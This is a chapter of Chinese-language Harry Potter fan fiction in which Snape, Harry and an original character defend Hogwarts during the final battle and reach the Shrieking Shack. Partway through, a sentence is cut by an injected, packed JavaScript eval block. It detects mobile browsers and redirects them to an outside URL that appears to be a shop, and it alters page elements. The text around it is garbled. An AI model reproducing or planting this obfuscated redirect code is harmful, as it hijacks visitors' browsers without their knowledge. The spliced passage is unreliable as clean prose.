“让我提醒你们,这里没有任何可以沉浸在疑问或者犹豫的时间。”斯内普的神情已经恢复到一贯的漠然,声音也如十二月的寒风,“我们还有最后一个魂器要摧毁,而我们的敌人不会等待,也不会怜悯。现在,我想正是时候展示你们所谓的格兰芬多精神了。” 蕾雅静默着点头,心里注意到斯内普使用的是“敌人”的字眼,这还是她第一次听他这样称呼伏地魔和食死徒。 “我知道的。”哈利轻叹着把照片塞入口袋。他努力调整心情,再抬起头的时候人似乎平静了些,好像溺水者终于从水面喘到一口新鲜空气那样。 “很好,现在听我说。”斯内普叙述道,“按照邓布利多的计划,黑魔王,会以为他手上的魔杖所有权在我的手上。因此——依照邓布利多的推演,以及我对黑魔王的了解,他会避开别的食死徒,使用纳吉尼,也就是最后一个魂器将我杀死。” 他的话语冷淡平直得没有一点起伏,好像在叙述一件完全与自己无关的事。可是蕾雅并不这么想,当听见“杀死”这个词的瞬间,她的心就猛地一紧,旋即皱起了眉毛,不安地看向斯内普。 黑发巫师被她眉眼中情不自禁流露出的错愕和恐惧弄得有些不自在。他扯扯嘴角,用严厉的眼神压回她即将开口的话:“我知道你要说什么,莱恩哈特。让我先明确告诉你,我没有任何的意向成为黑魔王的牺牲品。今天没有,明天也不会有,除非你俩愚蠢无能到让我白白牺牲。” “……啊。”蕾雅是被看穿般心虚地身体一僵,随后她的眼睛睁得更大,直视着斯内普锐利如刀锋的眼睛。她的心里涌上许多说不出的撼动感,但是一时间不知道该为斯内普没打算去死而感到释然,还是该为她跟哈利竟被斯内普放在等同于行动伙伴的队列里而感到惊讶。 “邓布利多给你的东西,你带着吗?”斯内普划破她的沉思,没什么感情地继续问道。 蕾雅回过神,下意识地按了按自己的衬衫口袋,“我一直带着。” “很好。”斯内普简短地应着,然后双臂交叉在胸前,继而说道:“那么,当他放出纳吉尼的一瞬间,就是你们要将它杀死的时候。” 蕾雅立刻明白了斯内普的计划。他是打算以自己为诱饵,为他们提供最后消灭魂器的机会。随后,她意识到为什么斯内普把分院帽和蛇牙交给了她。 但很快,她又拧紧了眉心,踌躇一阵,开口道:“可是,先生……万一神秘人没打算用巨蛇。” “显然我们伟大的邓布利多根本没有考虑这么多,所以我说,我的性命就交给你们了。”斯内普耸耸肩,勾起嘲讽的嘴角,“这不是你们最擅长的吗?” 蕾雅和哈利都因为他的话而怔愣住了。蕾雅若有所思地把分院帽紧紧地攥在怀里,像是抱住了救命的稻草般,轻声答道:“……我明白了。” 我会不留余力的。她在心里说。 斯内普满意般抬了抬下巴,接着说:“我们在那个时候也会面对上黑魔王。那么,运气好的话——” “我会去对付他。”哈利斩钉截铁地说,蕾雅注意到他的双拳紧握,整个人散发出一种大义凛然的气息,“我会按照你和邓布利多说的那样做。” “我知道你会,波特。”斯内普轻哼一声,看向哈利:“很不幸,你的勇气和鲁莽常常碰巧让你做出过于正确的选择。” 这话语虽然一如既往地带着讥嘲讽刺,但也确确实实带着一些斯内普式的赞许。蕾雅分明看到有什么陌生的情绪在哈利的眼里闪烁了一下。 就在这个时候,蕾雅的视线越过斯内普笔直的肩线,投向了校长室的高窗。就在那里,她望见一道道从草坪上直冲天空的白色光束。它们在黑夜之下缓缓散开,好像是水面上扩开的涟漪一样,逐渐旋舞着变大、扩散、而后连成一片完整的幕帘,泛着柔和神圣的光,把浓稠如墨的夜色和诡谲旖旎的禁林都隔绝开了。 蕾雅眼睛一亮,立刻起身朝窗户边走去,不忘给身后疑惑地哈利解释道:“教授们的保护霍格沃茨的咒语。这说明低年级的学生都被疏散了,他们已经把城堡封锁了。” 斯内普比她更快走到窗边,已经推开了窗户,两个人迅速地伸手举起魔杖,一同低声念到:“Protego Maxima(终极护防),Fianto Duri(固若金汤),Repello Inimigotum(抵挡敌方)。”随着他们的话语,魔杖尖端跃出同样炽白色的光,很快就融入到到窗外巨大的保护罩之中。 他们的咒语刚落下,校长室的门上突然响起一阵急促的敲门声。 斯内普飞快地撇蕾雅和哈利一眼,大步走向门口,声音充满警备地问道:“谁?” “斯内普,是我,阿莱克托!”门外传来的是阿莱克托·卡罗急躁的声音,手上依然用力地拍着门,“你知道他们在干什么吗?阿米库斯被他们捉住了!被那群学生!” “哦是吗,真遗憾,我可能是睡着了。”斯内普悻悻地答道,“稍等,我给你开门。”他的手按在门把手上,同时目光迅速转向蕾雅,确认到她已经做好准备,手里的魔杖正指向即将打开的门。 “快点!我们需要把主人叫来。”门外的卡罗依然不折不挠地用那把尖锐的嗓子叫着。 木门缓缓被斯内普拉开的一瞬间——蕾雅一秒也没有犹豫地吼道:“昏昏倒地!”咒语如迅雷般急速地擦着斯内普的耳畔而去,阿莱克托·卡罗应声被重重地击在门外的走廊上,差点把墙壁上的古画都晃得掉下来。 紧接着,斯内普低沉冰冷地念咒声响起:“速速禁锢。”已经失去意识的卡罗被绑在走廊上的一根柱子上,像一大团软绵绵的肉一样瘫在那里。 哈利被两人的举动震在了原地。他的眼睛瞟向门外的卡罗,又飘向蕾雅,最后停在斯内普手中的魔杖上。 如果说,来校长室之前他心里对斯内普的忠诚还有许多的疑虑,而刚刚听过斯内普的话以后还觉得难以置信,那么此刻,他是终于明白了斯内普的立场——以及,面前这两人在黑暗时期中锻炼出来的默契与配合。 “差点把他俩忘了。”斯内普轻描淡写地说着。他转身回到校长室里,从一侧的柜子翻出一瓶生死水,给卡罗灌下。做完这些以后,他甩开药瓶站直身,最终确认般转向哈利和蕾雅:“好了,两位准备好了吗。”他说着就扯开了左手的衣袖,露出狰狞墨黑的黑魔标记,“我要把他召唤过来了。” “准备好了,开始吧。”哈利绷着脸答道。他的注意力被斯内普手臂上的黑魔标记夺去,那像一条黑暗中的蛇,盘踞在斯内普苍白的皮肤上。但小蛇的尾部有一个与斯内普本人形象完全不般配的手环扣在那里,发出如窗外星光般的清冽,让哈利无端多看了几秒。 斯内普以魔杖抵着黑魔标记,眉头紧锁,低声念动咒语。蕾雅抱着分院帽踱到哈利的身旁,伸出手来捏捏他的手臂,递给他两瓶药剂:“备着吧。马上就都结束了,哈利。” 哈利接过后藏到自己的口袋里,认真地点点头:“是啊,马上都要结束了。” 斯内普领着他们沿着校长室门外的长廊一起出去,三人刚走下六楼,哈利突然停下了脚步。两个人疑惑地看着他,只见哈利紧捂着额头的伤疤,龇着牙回望他们,话语从牙缝里挤出来:“他来了。” 就在这一刻,伴随着响彻夜空的一声震响,一团耀眼的绿色火球在霍格沃茨防护罩上空爆裂开来,像是在天空中猛然盛放的烟花。顷刻间,坚固的防护罩被如黑压压的乌云一样的摄魂怪蹭出圈圈波纹,宛如暴风雨中坠入水面的雨柱。 而地面上,防护罩照顾不到的平静湖面突兀地被什么东西划破,有许多扭曲着身形的阴尸如同群群蚂蚁一样冲抵上岸。紧接着,岸边上骤然燃起熊熊的烈火将这些怪物全数吞噬,火焰跃动着高高窜入空中,沿着湖岸的轮廓一路迸发而去,把整座城堡都映得宛如白昼。 “我知道你们在准备抵抗。”一个骇人、冷酷、清晰的声音忽而穿透了霍格沃茨的墙壁,如同毒蛇在耳边吐着蛇信子般的嘶嘶低语,让周围的空气好像也寒凉了几分,“但让我告诉你们。你们这些努力都是徒劳的,你们根本不是我的对手。我对霍格沃茨的巫师们十分尊敬,我无意要杀死你们,也不想白白浪费巫师的血。把哈利波特交出来,我会让学校安然无恙。” ——“我等到午夜。” “混蛋的胡扯。”蕾雅小声地对着窗外咒骂一句,引得旁边仍在疼痛中的哈利有些愕然地看她,是不知道这位平时一直有礼谦虚的好友什么时候变得如此直接。 斯内普倒是不为所动,他的魔杖紧握在手中,只是用眼尾懒懒地扫了蕾雅一眼。移开视线以后,他清了清喉咙,声音中充满了命令的威严:“波特,披上隐形斗篷。” 哈利照做,从口袋拿出刚刚收起不久的斗篷,罩在自己和蕾雅的头上。 “你俩给我听好了,从这刻开始。”斯内普说,沉稳的嗓音如同坚定不移的磐石,又像一座矗立在长夜里的灯塔,指引着他们的方向:“记住你们的任务,不要卷入不必要的战斗里。往前走,不要回头。” 蕾雅转过身,撩开斗篷的一小角,直勾勾地与身后的斯内普对视着:“可是,那您呢?您一旦走出去一定会……” “没有可是,莱恩哈特!”斯内普呵斥着打断她,黑眸的深渊里有与她同样毅然的信念在流转。 他低头对上她在昏暗灯光下仍绽出清明亮色的眼眸,仿佛是在给出承诺般,他往前伸手轻轻握住她举着斗篷的手腕,温柔有力地捏了一下,然后按下她的手将斗篷再次拢好。 接着,他给自己上了一层幻身咒,轻声说道:“走吧,让这一切都结束。” …… 防护罩在摄魂怪和伏地魔的攻势下摇摇欲坠,三人还没走出塔楼,就瞥见那张泛着明晃晃白光的屏障被一束急剧刺眼的绿光狠狠击破。旋即,成群的摄魂怪如潮水般涌入,把那个缺口越撕越大,又被地面升浮上来的守护神群逼退回去,魔法光芒在婆娑的夜影里洒下大片熠熠的银光。 三个人一语不发,低头匆匆地前进。等走到一楼走廊的时候,越来越多伏地魔麾下的走狗挤进了霍格沃茨的地界,整座城堡已经被攻击得开始剧烈颤抖,每一块古老的石砖都在抖落着不知道历经了多少年的灰尘。 远处有大批的巨人和八眼蜘蛛穿过围墙边残缺的防护罩赶来,撞碎了一座座城堡连廊。斯普劳特教授站在二楼的走廊里,手里魔杖指挥着重重落下,地面陡然裂开,大片的毒触手轰鸣着钻出来,破开层层泥土如蟒蛇般裹上敌人的四肢,将它们拖入地底的深渊大坑。 近些,麦格教授率领着全数出动的霍格沃茨石墩军团,他们整齐的脚步声响在被守护神光芒照得锃亮的地砖上。铿锵有力,浩浩荡荡,是夜色里最坚韧不屈的军队。他们一路行进,穿过正准备施展火焰风暴的弗立维和斯拉格霍恩教授,向不知疲惫的难缠对手发起冲锋。 更多的火光、雷电、激荡的魔咒声从城堡的每个角落传来。 三个人刚拐出走廊,面前出现了一个身着拉文克劳校服的女生,她高举着魔杖喊道:“清水如泉!”。霎时间,一大片水流哗啦地腾空而出,把对侧蜂拥而出的八眼蜘蛛们兜头浇了个遍。下一刻,一位赫奇帕奇的男生在阴影中大喝“电光如雷!”,随着他的声音,猛烈的闪电挣脱出来,划出迅疾如鞭的凶猛,一整片浇湿的蜘蛛随之八脚朝天地痉挛着,被随后而来的毒触手拖入地下。 哈利挠了挠头,收回了指向八眼蜘蛛的魔杖。 “不错吧?”蕾雅紧了紧怀里的分院帽,手里的魔杖也没有放松,随手以防护咒弹飞头顶降下的碎屑,“都是我们这段时间的训练成果。” “太厉害了。”哈利用手背推了推鼻梁上的眼镜。 但即使是这样,伏地魔的大军依旧势不可挡。食死徒和那些魔法部的傀儡也悉数钻进了城堡里面,通红明亮的火光中开始不时冒出索命咒的绿芒。蕾雅不知道那些魔咒有没有伤到人,但她确实也没有心思去再管这个了。 她侧过头,就看见两个食死徒正逼近一个引诱着巨人进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13809630|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入陷阱的学生,她没有任何迟疑就抬起了魔杖,怒吼道:“神锋无影!” 一股力量以她为圆心扩散出去,像一朵白色的礼花在暗夜中绽放,忽而幻成一个白色的小爆炸圈,一路把地砖瓦砾全部掀起,直直地轰飞对侧的食死徒。他们的身体弹撞在庭院坚硬的石制花坛上,血液即刻像是喷泉水雾一样从胸膛喷溅出。 “这……”哈利看着倒在血泊中的食死徒,愣住了,再次以错愕的目光看着蕾雅,“也是斯内普教你的?” “啊……不是的。”蕾雅感觉到哈利的视线,不好意思地吐吐舌头,“不知道为什么,每次我用这个魔咒就这样。” 他们身后的斯内普也低哼一声,没好气地放下手里的魔杖,无奈般扯了扯嘴角。 “砰!”——是另一边的钟塔楼梯间窗户被砸碎的巨响,一个食死徒被笔直无情地甩出窗外,而透过破裂的玻璃,蕾雅眺望见了韦斯莱先生和金斯莱先生的凛冽身影。更远的地方,唐克斯和卢平正一起与狼人格雷伯克厮打着——显然,所有的狼人就只来了格雷伯克一个,而他瞬间就明白了是卢平布下的毒药。 “可是他在哪里呢?”蕾雅收回视线,嘟哝着把挡在路中间的一块巨石移到花坛边上,和那两具生死不明的躯壳并排放在一起。 “要不,我把自己交给他?”哈利往右手边的一个背对着他们的食死徒施了一发昏迷咒。 “不行,这跟我们的计划不一样,万一有变故呢。”蕾雅阻止地说道。 三个人继续穿行,不时眺望寻找着伏地魔的身影。 “啊,是弗雷德他们!”哈利指着不远处一边后退着抵挡攻击的的弗雷德和珀西。他们的对手是一个带兜帽的蒙面大汉和一个食死徒。 “那是谁?”蕾雅疑惑地看向蒙面人,已经和哈利一起冲上前去援助。 几发魔咒擦破充满了灰尘的空气冲向兜帽男,兜帽因为他躲避的动作而滑落了,竟然是现任魔法部长辛克尼斯。 “你好,部长!”珀西大喊着,手腕一转,干净利落地指出一记恶咒,“我说过我要辞职的吧?”他认真地补充了一句。 弗雷德大笑一声,“你在开玩笑!” “昏昏倒地!”哈利和蕾雅在隐形斗篷底下趁机使出魔咒,带着凌冽白光的昏迷咒分别把两个敌人按在了地面。 弗雷德惊喜地扭头对着哈利和蕾雅站着的地方,故作吃惊地喊道:“啊是你吗,哈利?” “是——”哈利的话还没说完。 “小心!”随着斯内普的一声怒吼,大地突然如经历爆炸般震动着,哈利和蕾雅同时被狂暴的冲击推飞到空中。就在凌空的一瞬,蕾雅瞥见他们刚刚站的地方已经变成了塌陷的废墟,而解除了幻身咒的斯内普站在后面的瓦砾里,他的黑袍被风拂得高傲扬起,手里的魔杖正对着他们。 是他推开了他们吗? 她跟哈利一起跌落在地面上,纷扬坠下的尘土掩埋住了他们。周围的一切宛如静止了数秒,蕾雅的大脑和耳朵里只剩下被撞击而产生的嗡嗡声。 以及疼痛。 “怎么蕾雅也在!没事吗?”是珀西关切的声音,她在一片模糊的视线里看见一头红发急匆匆地向她跑来,将她从碎石里扶起。 “咳咳。”蕾雅喘着气,肺部被激扬的尘土呛得发疼,像是火烧一样。 她感觉珀西正用手按在她的头上,她顺着他的动作吃痛着抬起手,摸到了脑袋上正在淌下的粘稠滑腻,手腕上的手环却一直在发热。 她扯开衣袖,看到血迹斑斑的手环上显现出斯内普的话。 「你们没事吗」 蕾雅一愣,随之往身后看去,但那里只有倒塌的坍圮,什么也看不见,路被堵死了,斯内普显然被隔在了另一边。 “哈利呢?”蕾雅转过头,问正在用手帕给她擦着血迹的珀西。 “哈利!”弗雷德的声音在废墟的另一头响起,他正在用魔杖把那些砖石统统清理开,下面是半个身子被埋住的哈利,“哈利!你没事吗?” “我……没事。”哈利摇摇晃晃地被弗雷德扶着站起来,“珀西呢?蕾雅呢?” 她再次低下头。 「我们都没事,您呢」 「我没事,路堵住了,分头行动」他回复。 “我们都没事!”珀西对弗雷德喊道,“她受了点伤。” “没事,我带着药。”蕾雅从校裙口袋摸出一瓶白鲜药水,还没打开盖子,就被珀西接过去。 “我来吧。”珀西小心翼翼地拨开她的额发,摸索着检查她的伤口,“倒上去就行了吗?” “嗯,谢谢你。”蕾雅被白鲜刺激得龇牙咧嘴。她缓了好一阵,才开始检查自己的伤势,发现除了右肩膀的撞伤和一些擦伤以外别的都还好。 另一边的弗雷德也在给哈利做简单的治疗,蕾雅站起身对着废墟用飞来咒找到了分院帽。 世界好像就要终结了。 穹顶下的防护罩被全部破坏的顷刻,所有的伏地魔爪牙都闯了进来。庭院之外,是愈来愈激烈的震响和尖叫咆哮,噼里啪啦的咒语层层叠叠,如大雨落下。整个空间不时在动荡里摇晃着,瓦片、石砖、地板全部都化为了倒塌破裂的石屑,那之上开始出现许多倒下的、受伤的学生,血液沿着古朴的石缝涂抹开,又流下去,溅到土壤里,把夜都染成凄凉的红色。 拦开他与她的破碎瓦石另一侧,斯内普正要转身寻找别的路,却看见卢修斯从城堡的阴影中缓缓步出。 “原来你在这里,西弗勒斯。”男巫好像有些神色凝重,他的金发随着步伐轻轻摆动:“让我一顿好找。” “卢修斯?”斯内普面无表情地看着来人。 卢修斯哽了哽喉咙,对上斯内普绷直的脸,郑重地说道:“主人在找你,他在尖叫棚屋。” “知道了,我现在过去。”斯内普的话语简洁,脚步向卢修斯身后的黑暗中迈去。 然而,就在斯内普擦身而过的一刻,卢修斯伸出手臂,像一道无声的屏障拦住了他的去路。 “还有什么事吗?”斯内普不耐烦地问道。 卢修斯抬手拍了拍斯内普的肩膀,压低了声音:“小心,他看起来心情不太好。” 斯内普的眉毛微微上扬,嘲讽地笑了:“我们堂堂马尔福家主什么时候学会关心别人了?” 卢修斯的脸上掠过不悦,但很快又恢复了那副高傲的表情:“只是好心提醒你,西弗勒斯。毕竟,我们都不想在这个时候惹麻烦。” “放心吧,一切很快就结束了。”斯内普冷冷地甩开卢修斯的手,消失在长廊的拐角。 59.星辰 珀西和弗雷德继续去追食死徒卢克伍德后,蕾雅跟哈利继续穿梭在城堡里,一路避开破碎的玻璃渣滓和瓦片石碎,寻找着伏地魔的身影。但还没走出塔楼,哈利忽而又捂住了额头上的疤痕,脸因疼痛而皱缩成一团。 “哈利?”蕾雅也停住脚步,担忧地俯下身按在他的肩膀上,然而,几乎是与此同时,她的手环也同时发热了起来,她连忙看去—— 「尖叫棚屋」 “他在那里……”哈利的声音颤抖着,他猛吸一口气,把思绪拉回来。他的眉头拧在一起,以溢满了痛楚的绿眸盯着蕾雅:“他在找斯内普,就在……” “尖叫棚屋?”蕾雅投去确认的目光。 “你怎么……” 蕾雅伸出左手,朝他递过去手环,说道:“秘密武器,跟你们以前用的假金币一样。” 哈利瞬间想起来刚刚看见斯内普的黑魔标记之下的手环,恍然大悟道:“斯内普手上也带着。”而后,他就想起这个晚上两个人一连串的互动,还有——斯内普在楼梯上最后看向她、替她拢好隐形斗篷的模样,这么多年,他可从来没有看见过斯内普会对谁露出那种表情,甚至对邓布利多或者德拉科·马尔福也没有。 一想到这里,哈利的背脊随即泛起一股恶寒,甚至感觉这比伏地魔带来的阴森还要恐怖一点。哈利再次看了看蕾雅,试探性地开口道:“梅林的胡子,你跟斯内普?这也太惊悚了。不对,当时他教你狼毒药剂的时候,我就该猜到!……哎呀。”哈利的思绪飘到了更远的以前。 蕾雅即刻狠狠地掐了哈利的手臂一下,打断他的无端联想。她鼓着嘴躲开哈利的视线,岔开话题:“他刚刚在校长室跟你说了什么?” 说到这里,哈利蓦地垂下头,似乎是在逃避这个话题。又好像是没有办法找到一个合适的开口办法,所以干脆不开口那样。 蕾雅当然察觉到哈利的情绪,她抽回目光,稳了稳手里的分院帽,接着说:“是我不好知道的事?那就算了。” “你最后会知道的……”哈利落寞了一瞬,低低地应着。 “好,那我就不追问了。”蕾雅点点头,“我们走吧,去尖叫棚屋。” 两个人选着路奔往禁林的方向。一踏入主楼的门厅,他们就卷入了如火如荼的战斗。台阶上、走廊里、教室前面,全是在激战搏斗的食死徒和霍格沃茨的守卫者。魔咒像是流星雨一样交错飞掠,把整个门厅照得透亮,偶尔又被皮皮鬼在他们头顶扔下的疙瘩藤的荚果打断。 所有的雕像、学院的计分沙漏都被打碎,一地的金属碎片的银光与沙漏宝石的璀璨亮色,散落在从早已零碎的墙壁外灌进来的五月夜风里。 呼啸的风无差别地攻击着每一个站在门厅里的人,不时将失去平衡的、被击下大理石楼梯的人狠狠吹落——蕾雅和哈利很想帮忙,但实在是过于害怕会伤到自己人,最后只能谨慎地分辨着这些掉落的人,对他们精准地使用出减震咒和漂浮咒。 两个人不时施展一些力所能及的魔咒,不断地避开战斗和疙瘩藤黏液迂回往前。 新一批八眼蜘蛛带着臭烘烘的气味灌进门厅里,紧接而至的是海格惊恐的叫声,又被格洛普的低吼咆哮盖过。哈利伸手为蕾雅挡掉横飞过来的瓦砾,蕾雅迅速朝楼梯入口召出一面火焰墙,阻断了巨蜘蛛冲上二楼的路。 “我是德拉科·马尔福!我跟你们是一边的!一边的!”楼梯平台上,马尔福正在向对侧的食死徒求饶。两个人停住了脚步。 看见没有魔杖的马尔福踉跄地躲掉了好几发索命咒后,哈利不情愿地咂了咂嘴,最后仍旧是直接朝那个食死徒施放一道昏迷咒。 这一瞬间,皮皮鬼甩出的一把疙瘩藤不偏不倚地坠在他们两人的头上,黏糊糊的根茎隔着斗篷薄薄的布料扒拉在蕾雅的脑袋上面。 “呜啊——”蕾雅忍住恶心感举起魔杖戳了戳,想要把它抖落下去。 一个食死徒很快注意到了这边的动静,用魔杖直指他们,大喊道:“这里有个隐身人!”但没等蕾雅和哈利使出咒语,石柱后方的迪安的昏迷咒击倒了食死徒。另一个食死徒多洛霍夫转身试图报复迪安,却又被更远些帕瓦蒂的全身束缚咒制服。 “这确实出乎我的意料。”哈利说,顺手给两个倒下的食死徒缠上束缚咒,把他们捆在霍格沃茨城堡的石柱上。 “纳威和金妮一直在带领大家训练。”蕾雅轻声说道,她的魔杖尖端顺着她转动的手腕迸发出一道耀眼的红光。精准的粉碎咒如利刃般划破空气,直击两个紧追拉文德不放的食死徒的脚下。四楼的连桥应声而倒,食死徒的身影随之从边缘坠落,最终消失在下方涌动的蜘蛛群中。 须臾之间,他们见证了更多战斗的身影。纳威抱着一团团毒触手扰乱着遇到的每一个食死徒,罗恩和赫敏刚推下两个食死徒,韦斯莱的红发闪耀在每个角落,弗立维教授在三楼的休息区里巧妙地应付着亚克斯利,还有布莱克——他正护着身后的金妮,与解决了格雷伯克的卢平一同对抗贝拉特里克斯。 “我们走吧,这里不需要我们了。”蕾雅轻声道,用手背抹了抹快流到眼睛里的汗,稍稍活动一下刚才撞伤的右肩。 哈利最后深深地望了一眼站在四楼栏杆旁的布莱克和金妮,不舍般点了点头:“走吧。” 两个人走出城堡,踩到操场的草坪里,被湿润的泥土气息和冷冽的寒风包裹住。他们的背后,是一片混乱百色的景象,魔咒的亮色,明艳的火色,血液的殷红,灰尘弥漫的白茫,断壁残垣的灰绿,各种各样全部都调和在一起。 但没走出几步,他们的视野被铺天盖地俯冲下来的摄魂怪吞蚀成喑哑无望的浓黑。摄魂怪旋转着化作排山倒海吞没一切美好的冰冷气势,如同被磅礴黑雾笼罩住了一样,无边无际,汹涌蓬勃,夺走空气里的每一分每一寸温度与光芒。 蕾雅和哈利同时举起魔杖,齐声念到:“呼神护卫!” 一只小狮子咆哮着和雄伟的牡鹿从他们魔杖的尖端蹦出,它们身上的凛然银辉划破悠长的漆黑,带着圈圈银白的璀璨涟漪扑进搅成一团的摄魂怪里,迫使它们节节后退。 但是摄魂怪的数量太过庞大,单凭他们的两个守护神实在是难以完全抵御,不时有漏网的摄魂怪张着可以吞噬一切的大口朝他们扑来。这个时候,又有一只银兔、一头杰克罗素梗犬、一只水獭从他们的头顶飞跃而出,紧接着,更多的守护神——一头大狗、两头狼、猞猁、还有一头从天而降的威猛雄狮。 守护神们并肩奔跑,跟在小狮子和牡鹿的后方,逐渐变幻成一整面纯净而盛大的光弧,如同一面巨大的守护盾一样,闪烁着银色的魔法火花,把横亘在霍格沃茨操场上的寒冷永夜一层层拨开。所有的魔法粒子都在此刻化为皎洁如昼日的温暖光芒,轻轻地吻着哈利和蕾雅,像是久旱后温柔滋润着大地的浩瀚春雨,又如本应嵌在无垠宇宙之上的粲然星宿那样,盛大绚丽,夺目辉煌。 “去吧,蕾雅。”雄狮擦过他们身侧的时候,抖落了一身的银光,雷格纳的嗓音伴随着回响在草坪上。 “啊,那天的狮子!”哈利指着雄狮低叹一声,“还有之前的牝鹿,原来这都是他们一直在我身边啊。” “牝鹿是斯内普校长的守护神,雄狮是我父亲的守护神。他们一直在暗中守护着你。”蕾雅解释道,心里明白,父亲的守护神的出现意味着邓布利多已经回到了霍格沃茨。 蕾雅话音刚落,一声震天的巨响和地面的剧烈颤动打断了他们的对话。在守护神散发出的炽白光环映照下,一个步履蹒跚、挥舞着棍棒的巨人从禁林方向朝他们冲来。蕾雅眉梢一挑,魔杖轻轻一挥,他们附近的草坪“砰”地一声裂开,露出一个巨大的地下陷阱。巨人来不及停下脚步,便跌入陷阱之中。 两个人安然无恙地来到打人柳所在的地方,这里已经远离了战场的喧嚣,摄魂怪、巨人、魔法生物们都也已四散逃离,夜晚恢复了它原本的平和与寂静,微风轻抚着两人同样的黑发。 “你说,”哈利的碧绿眼睛里有浓重的疑虑和不解,好像这个问题已经盘踞在他心里许久了:“斯内普为什么要承担这么大的风险?他这么做了至少十七年。他不可能是为了我,毕竟他一直对我没好脸色,对吧?而且他也不像是那种会为了邓布利多的崇高目标而献身的人……” “唔……”蕾雅沉思片刻。她开始揣度斯内普到底跟哈利坦白了多少,但至少,从哈利的反应来看,哈利并不知道斯内普做这些是因为对莉莉·波特的深刻爱意和愧疚。 她舔舔嘴唇,斟酌着语言说道:“我觉得就是为了你呀,讨厌你和守护你也并不矛盾——而且,他也并不一定有你想象的这么讨厌你。不过,我听邓布利多先生说,他也许为了赎罪……” “因为那个预言?”哈利很快想起来斯内普的“罪”。 “嗯。”蕾雅低垂着眼眸,盯着眼前的打人柳。 哈利保持着举着隐形斗篷的姿势,清了清喉咙转换话题:“万一神秘人真没打算放出那条蛇,我们要怎么办?” “那我就会毫不犹豫使用神锋无影。”蕾雅眨眨眼睛,直截了当地答道:“你看见刚刚我使用这个魔咒时候的情形了,如果可以,在我破坏所有东西之后。你能带他一起幻影移形吗?” “没问题。”哈利越来越觉得,身边的这位好友似乎与他记忆中的有些不同。 这时,蕾雅的手腕突然变得炽热,她拉开衣袖的时候,哈利也好奇地凑过来。 「到了吗」 「我们在外面了」她回到。 「那我进去了,看好机会」 「先生请小心」 “你们真的是……”哈利苦中作乐般笑了起来,打住了话。 “快走。”蕾雅假装瞪了他一眼,故作生气地说道:“如果你不想我因为失去他而抱着你大哭的话。” 哈利沉默一阵,最终决定顺着蕾雅的话说下去:“那如果失去我了,你会难过吗?作为朋友。”他的右手挥动魔杖,对准打人柳,施展了一个无声的漂浮咒。那些扭曲如同藤蔓般的枝条静静地悬浮在半空中。 “我怎么会失去你呢?”蕾雅反问着和哈利一起走向秘密隧道的入口,不忘在他们身侧布下一道闭耳塞听咒。 哈利没有立刻回答,领着她一起钻到隐在树根底下的隧道。他们点起两道荧光闪烁的微光,蕾雅这才意识到有什么不对劲,她皱起眉头观察着身边的哈利。她在他的脸上看到了一种不同寻常的凝重严肃,他好像不是在说谎话,而是在述说一件真正会发生的事。 蕾雅旋即感到有些担忧,她低下头边匍匐在隧道里边说道:“别这样,哈利。我会非——常难过,非常伤心。你根本不知道当时我跟他给你们送剑的时候,看到你们浑身是伤我有多难过,我永远不能想象失去你或者任何一个我熟知的人。” 她顿了顿,继续说:“而且,金妮会——更加伤心,她可能会伤心到死掉的。还有罗恩、赫敏,你能想象他们会怎么样吗?所以,无论是什么情况,你都不要做这种假设,好吗?” 哈利怔愣片刻,没想到会得到如此情真意切的回复,他移开视线看向出现在前面的木墙壁,迅速熄灭了手中的魔杖,哽咽着说:“我知道的。我也不想……” 靠近前方的房间,一个逼人、毛骨悚然,宛如来自地狱深渊的声音打断了他们的低声交谈:“不,我的问题不是关于波特,而是你。告诉我,为什么——这根老魔杖,他一直在拒绝我呢?” 是伏地魔,果然如邓布利多所预料的那样,准备因为魔杖的事杀死斯内普。 蕾雅和哈利相视一眼,两个人都抿紧嘴凑到隧道尽头的一个被箱子堵住的豁口后面。他们屏住呼吸,透过箱子和狭窄的缝隙朝里面看去。 伏地魔悠闲自得地坐在一张复古的椅子上,他的长袍自然垂落的后方,是一个被漂浮在半空、仿佛魔法球一样晶莹剔透的保护罩拢住的大蛇。而站在伏地魔前面,背对着墙外两人的,是斯内普。他的双手背到了身后,正绞在一起,是在隐藏起收在衣袖里的魔杖。 “主人——”斯内普低沉的声调响起,带着一点卑微的发颤,“我不明白您的意思。您——使用这根魔杖施展了卓越的魔法,不是吗?” “不。”伏地魔冷酷地说道,他倏地站起身,红眼睛里闪烁着咄咄逼人的杀戮气息,那两条细细的鼻缝让他看起来更加扭曲而狰狞,和蕾雅从斯内普记忆里看见的一模一样。 他正用那苍白、枯枝般丑陋的手指玩味地摆弄着一根魔杖:“我刚刚试过了。高超卓越的,是我。而这根魔杖……它根本没有显现出他该有的奇迹,跟我一开始拥有的魔杖没有任何差别。” 斯内普没有说话,蕾雅注意到他的手指已经触碰到从衣袖中滑落的魔杖顶端。 屋内的气氛凝成了一种古怪、阴鸷的僵冷,伏地魔开始在踱来踱去,那身像褪了色的墨绿斗篷随着他的动作发出沙沙响声,让人感到就像是有无数毒蛇在地上缓慢地爬行,随时会做出攻击。 蕾雅感觉后背已经渗出一整片的冷汗,不由地将手里的分院帽抱得更紧。 如果说在进来尖叫棚屋之前,她还有许多莽撞的天真的话,那如今真正浸在伏地魔身上蔓延出来的、隔着墙也能清楚感受到的威压之下,她的内心确实被不安和恐惧填满了。这种感觉就像是慢慢被摁进深水中,氧气全部耗尽,身体不可控地沉入湖底,四周所有的声音都只剩下心跳,而后又逐渐被无法阻止的窒息感所取代。 她怎么能眼睁睁地看着斯内普一个人在里面面对伏地魔呢?她的脑海闪过无数个不详的念头——万一她的神锋无影不足以对付伏地魔呢?——万一,他受了连凤凰眼泪也治愈不了的伤,那怎么办? 太难受了。 光是等在这里,等在这里什么也做不了,她宁愿陪他一起在里面忍受伏地魔带来的煎熬。 哈利好像感受到蕾雅的身体在忍不住地颤抖,他一边捂住再次开始作痛的伤疤,一边伸出手搂住蕾雅,好像想要传递给她一些安慰。 